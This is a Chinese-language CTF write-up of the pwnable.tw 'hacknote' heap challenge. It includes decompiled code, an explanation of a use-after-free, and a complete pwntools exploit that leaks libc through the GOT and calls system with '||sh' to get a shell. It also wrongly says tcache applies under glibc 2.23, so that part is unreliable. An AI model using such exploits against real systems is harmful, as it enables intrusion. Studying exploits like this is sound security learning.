hacknote on Pwnable.tw

Before all

所以為什麼我會想來看heap…
前一篇寫的筆記: https://wha13.github.io/2024/11/06/mfheap

Recon

題目給了hacknote這支程式和libc,都先來檢查看看:
libc版本
在打heap的時候libc版本特別重要:

1
strings libc_32.so.6 | grep GLIBC

image
2.23,基本上沒防護

checksec

1
checksec --file=hacknote

image
沒開pie,.text固定

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void __cdecl __noreturn main()
{
int v0; // eax
int v1; // [esp-Ch] [ebp-24h]
int v2; // [esp-8h] [ebp-20h]
int v3; // [esp-4h] [ebp-1Ch]
char v4[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v5; // [esp+Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
show_infos();
read(0, v4, 4);
v0 = atoi(v4);
if ( v0 != 2 )
break;
delete_note_free();
}
if ( v0 > 2 )
{
if ( v0 == 3 )
{
print_note();
}
else
{
if ( v0 == 4 )
exit(0, v1, v2, v3);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v0 != 1 )
goto LABEL_13;
write_note_malloc();
}
}
}

函數名稱我有在ida另外改過,比較知道功能是什麼zzz
image
打開大概就是一個像這樣的選單式筆記服務

write_note_malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
unsigned int write_note_malloc()
{
int v0; // ebx
int v2; // [esp-Ch] [ebp-34h]
int v3; // [esp-Ch] [ebp-34h]
int v4; // [esp-8h] [ebp-30h]
int v5; // [esp-8h] [ebp-30h]
int v6; // [esp-4h] [ebp-2Ch]
int i; // [esp+Ch] [ebp-1Ch]
int v8; // [esp+10h] [ebp-18h]
char v9[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v10; // [esp+1Ch] [ebp-Ch]

v10 = __readgsdword(0x14u);
if ( dword_804A04C <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !dword_804A050[i] )
{
dword_804A050[i] = malloc(8);
if ( !dword_804A050[i] )
{
puts("Alloca Error");
exit(-1, v2, v4, v6);
}
*(_DWORD *)dword_804A050[i] = sub_804862B;
printf("Note size :");
read(0, v9, 8);
v8 = atoi(v9);
v0 = dword_804A050[i];
*(_DWORD *)(v0 + 4) = malloc(v8);
if ( !*(_DWORD *)(dword_804A050[i] + 4) )
{
puts("Alloca Error");
exit(-1, v3, v5, v6);
}
printf("Content :");
read(0, *(_DWORD *)(dword_804A050[i] + 4), v8);
puts("Success !");
++dword_804A04C;
return __readgsdword(0x14u) ^ v10;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v10;
}

觀察下,有個全域的array dword_804A050專門放申請的空間(8 bytes),首先會先往它推一個 4 bytes 的 sub_804862B 函數(就是puts),接下來會在+4的地方再申請一塊記憶體(筆記大小)
也就是說那邊的heap結構會長這樣:[4 bytes指向puts]+[4 bytes指向筆記地址]
然後最多只能有五篇筆記,也就是在tcache範圍內完成任務

print_note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned int print_note()
{
int v1; // [esp-Ch] [ebp-24h]
int v2; // [esp-8h] [ebp-20h]
int v3; // [esp-4h] [ebp-1Ch]
int v4; // [esp+4h] [ebp-14h]
char v5[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v6; // [esp+Ch] [ebp-Ch]

v6 = __readgsdword(0x14u);
printf("Index :");
read(0, v5, 4);
v4 = atoi(v5);
if ( v4 < 0 || v4 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0, v1, v2, v3);
}
if ( dword_804A050[v4] )
(*(void (__cdecl **)(int))dword_804A050[v4])(dword_804A050[v4]);
return __readgsdword(0x14u) ^ v6;
}

它會去讀取輸入的id,取出dword_804A050對應的內容,並以該處的資料當函數呼叫,取出+4的內容作為參數處理
很有趣ㄅ~~
看到這邊大概就會感覺到之後的攻擊是要抽換呼叫的函數地址進行RCE

delete_note_free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned int delete_note_free()
{
int v1; // [esp-Ch] [ebp-24h]
int v2; // [esp-8h] [ebp-20h]
int v3; // [esp-4h] [ebp-1Ch]
int v4; // [esp+4h] [ebp-14h]
char v5[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v6; // [esp+Ch] [ebp-Ch]

v6 = __readgsdword(0x14u);
printf("Index :");
read(0, v5, 4);
v4 = atoi(v5);
if ( v4 < 0 || v4 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0, v1, v2, v3);
}
if ( dword_804A050[v4] )
{
free(*(_DWORD *)(dword_804A050[v4] + 4));
free(dword_804A050[v4]);
puts("Success");
}
return __readgsdword(0x14u) ^ v6;
}

會根據輸入的id去把對應的筆記地址及整個 8 bytes 的記憶體 struct free掉

想一下流程,每次新增筆記會先申請 8 bytes 的記憶體(也就是包在20 bytes的chunk裡面)
接著,會再去按照輸入內容大小產生特定bytes的chunk
那free的行為呢?
每次把文件刪掉都是free掉一個8 bytes的物件和剛剛特定大小的chunk,而且不清空指針有機會產生UAF,而且事實是我們可以建立一個8 bytes(或者產生20bytes大小的chunk),這樣它在往tcachebin請求chunk的時候就會求到兩塊剛剛free進去的struct,完整寫入剛剛的struct
別忘記print_note,達成UAF後就是跳libc的老招術,首先透過請求got上的資料算出libc_base,最後再跳 libc 的 system 傳sh進去即可

嗎?
沒有,我卡在sh好久,最後試出||sh的方法,但google下全世界好像都用;sh;

Exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
r=remote('chall.pwnable.tw', 10102)

# setup
context.arch='i386'
libc=ELF('libc_32.so.6')
elf=ELF('hacknote')

# function defines
def add_note(size, msg):
r.sendlineafter(b':', b'1')
r.sendlineafter(b':', str(size).encode())
r.sendafter(b':', msg)

def delete_note(id):
r.sendlineafter(b':', b'2')
r.sendlineafter(b':', str(id).encode())

def print_note(id):
r.sendlineafter(b':', b'3')
r.sendlineafter(b':', str(id).encode())
# return r.recvline()[:-1]

# Exploit
add_note(0x30, b'whale')
add_note(0x30, b'meow')
delete_note(0)
delete_note(1)

add_note(0x8, p32(0x804862B)+p32(elf.got['puts']))
print_note(0)
libc_base=u32(r.recv(4))-libc.sym['puts']
info(f"Libc base: {hex(libc_base)}")
system_addr=libc_base+libc.sym['system']
delete_note(2)
add_note(0x8, p32(system_addr)+b'||sh')
print_note(0)

r.interactive()

After all

PWNED!!
image